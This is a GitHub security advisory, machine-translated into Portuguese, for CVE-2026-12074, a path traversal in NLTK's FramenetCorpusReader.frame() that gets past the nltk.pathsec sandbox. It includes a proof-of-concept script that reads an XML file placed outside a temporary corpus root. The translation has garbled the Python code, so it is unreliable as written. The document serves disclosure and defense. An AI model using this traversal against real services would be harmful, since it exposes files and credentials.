### Sumário `FramenetCorpusReader. frame( name)' interpola um nome de quadro fornecido pelo chamador em um caminho de arquivo XML que é lido com o 'open()' incorporado, omite `CorpusReader.open()' e o 'nltk.pathsec' sandbox' — incluindo o modo rigoroso `ENFORCE=True`. Uma sequência `../` no nome escapa da raiz do corpus, produzindo uma leitura arbitrária de arquivos XML cujo conteúdo analisado é devolvido ao chamador. ### Detalhes `frame_by_name` constrói o caminho juntando- se à raiz do corpus, ao diretório do quadro e ao nome fornecido pelo chamador com uma extensão fixa `.xml`, sem verificação de contenção, e então constrói um `XMLCorpusView` a partir desse caminho **string**. Como a visão é construída a partir de uma string em vez de um `PathPointer`, ela lê com o builtin `open()`, assim `nltk.pathsec.validate_path()` nunca é invocado e `ENFORCE=True` não bloqueia o acesso. Esta é a mesma classe de trajeto- via previamente endurecida para os leitores genéricos de corpus; ` frame_by_ name` nunca passa por `CorpusReader.open()`, de modo que a proteção não se aplica. O mesmo padrão de string-path-into-`XMLCorpusView` existe em dois métodos irmãos que tomam um nome de dados de corpus em vez do chamador imediato: - `doc()` — usa o campo de entrada do índice `nome de arquivo` - o carregador de arquivos de unidades lexicais — usa o atributo ID `lexUnit`.

Estes são alcançáveis através de um índice de corpus FrameNet modificado por um atacante ou malicioso. ### PoC ```python """. importar os sys importar avisos de importação de arquivos de importação de caminho de importação.

advertisments.filterwarnings("ignore"). # --- Ligue a caixa de areia estrita documentada antes de importar o leitor. --- importe nltk.pathsec como ps ps.ENFORCE = Verdadeiro importar nltk de nltk.corpus.reader.framenet importar FramenetCorpusReader, FramenetError. FRAME_XML = ( ' \n' ' \n" " SECRET-OUT-OF-ROOT-CONTENT \n" " \n" ).

====================================================================== NLTK FramenetCorpusReader.frame() Path Traversal PoC nltk {ver}. nltk.pathsec.ENFORCE = {enforce} ====================================================================="""""" format( ver=nltk.__version__, forefor=ps.ENFORCE ) def build_corpus(): """Corpus FrameNet válido mínimo + um segredo em forma de moldura OUTSIDE a sua raiz.""" base = Path(tempfile.mkdtemp(prefix="fn_poc_")) root = base / "corpore" / "framenet" para d em ("frame", "fulltext", "lu"): (root / d).mkdir(parents=True) (root / "frameIndex.xml").write_text( ' ) (root / "frRelation.xml").write_text( ' ' ).

# Um arquivo XML em forma de moldura OUTSIDE a raiz do corpus (o alvo "sensível"). secret = base / "privado" secret.mkdir() (secreto / "secreto.xml").write_text(FRAME_XML) devolver base, raiz, segredo / "secret.xml". def main(): print(BANNER) base, root, secret_path = build_corpus() print( f"[*] corpus root: {root}") print( f"[*] arquivo secreto: {secret_path} (OUTSIDE the root)\n").

fn = FramenetCorpusReader(str(root), []). # O nome do quadro controlado pelo atacante sai de / frame/ up para /private/secrete.xml mal = os.path.join(".".", "..", "privada", "secrete") print(f"[*] chamando fn.frame({evil!r})") Tentar: f = fn.frame(evil) definition = f["definição"] se "SECRET-OUT-OF-ROOT-CONTENT" na definição: print("\n [VULN] arquivo fora de raiz foi lido e devolvido para o chamador") print(f" nome do quadro: {evil}") print(f" ID do quadro: {f['ID']} nome: {f['nome']} print(f" definição: {definition}") print(f"\n -> nltk.pathsec aredbox bypassed apesar de ENFORCE = {ps.ENFORCE}") veredicto = "VULNERABLE" outra coisa: print(f"\n [?] frame() devolvido mas conteúdo inesperado: {definition!r} veredicto = "INCCLUSIVO" exceto FramenetError como e: # Construção pachetada (# 3581 ): _reject_unsafe_path_component levanta antes de open(). print( f"\n [SAFE] FramenetErro: {e}") print(" atravessamento rejeitado antes de qualquer arquivo ser aberto (patched)") veredicto = "NÃO VULNERÁRIO" exceto Exceção como e: print( f"\n [SAFE] {tipo(e).__nome__}: {e}") veredicto = "NÃO VULNERÁRIO".

# Controle: um nome ausente simples deve falhar como 'frame desconhecido', NÃO como uma leitura. print("\n[CONTROL] nome ausente benigno deve ser 'frame desconhecido':") tente: fn.frame("Definitivamente_Not_A_Frame") print(" [?] sucesso inesperado") Exceção como e: print(f" ok -> {tipo(e).__name_}: {e}") print("\n" + "=" * 59 ) print( f" Resultado: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 59 ).

se __ name___ == "_main__": main(). ### Impacto - **Ler XML arbitrário fora de caixa de areia.** Qualquer aplicativo que roteie entrada influenciada pelo atacante em `frame()` pode ser feito para ler arquivos XML de diretórios fora da raiz do corpus pretendida e ter seu conteúdo analisado devolvido. `frame()` é uma API pública primária projetada para aceitar um nome de quadro especificado pelo chamador, por isso esta é uma exposição natural para qualquer serviço expondo as buscas de FrameNet à entrada do usuário. - **Ler primitivo em leitura ampla.** Apenas uma extensão fixa `.xml` é anexada; o atacante controla tanto o diretório como o nome de base, dando "leia qualquer arquivo XML que o processo possa ler." A divulgação de conteúdo completo requer XML em formato de quadro; outros arquivos produzem um erro de análise distinguível que atua como um oráculo de existência/readabilitação de arquivos arbitrários para o arbitrário. caminhos. - **Outros limites de um limite anunciado.** O `SECURITY.md` do NLTK apresenta a caixa de areia `nltk.pathsec` e `ENFORCE=True` como um limite rígido para aplicativos web, pipelines multi- locantes e CI/CD. Como `frame_by_name` constrói o caminho em si e lê através de um caminho de string `XMLCorpusView`, o guarda de contenção nunca é chamado e `ENFORCE=True` não bloqueia a leitura — silenciosamente, sem erro ou aviso. - **Alvos corporais criados.** Via `doc()' e o carregador de unidades lexicais, um diretório de dados malicioso FrameNet controla a mesma travessia sem nome fornecido pelo chamador. - **Alvos sensíveis.** Dependendo da implantação, XML fora da raiz pode incluir configuração de aplicativos, exportações de dados e credenciais no disco armazenadas como XML; o comportamento do oracle também permite o mapeamento do sistema de arquivos. Onde a saída `frame()' é refletida para o requerente, a divulgação é direta e não cega. Registro de aconselhamento: GHSA-xh 95 - f 55 m- 82 - Sim. Identificadores relacionados: CVE- 2026 - 12074.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 31 T 16: 50: 41.000 Z e lista a sua última modificação como 2026 - 07 - 31 T 16: 50: 41.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.

Informações sobre software e versão afetadas: pacote nltk do PyPI — ECOSISTEM: introduzido 0, corrigido 3.10.0. Classificação e evidência: identificadores de fraqueza CWE- 22. O registro contém 2 suporte de referências nestes tipos: WEB, PACKAGE.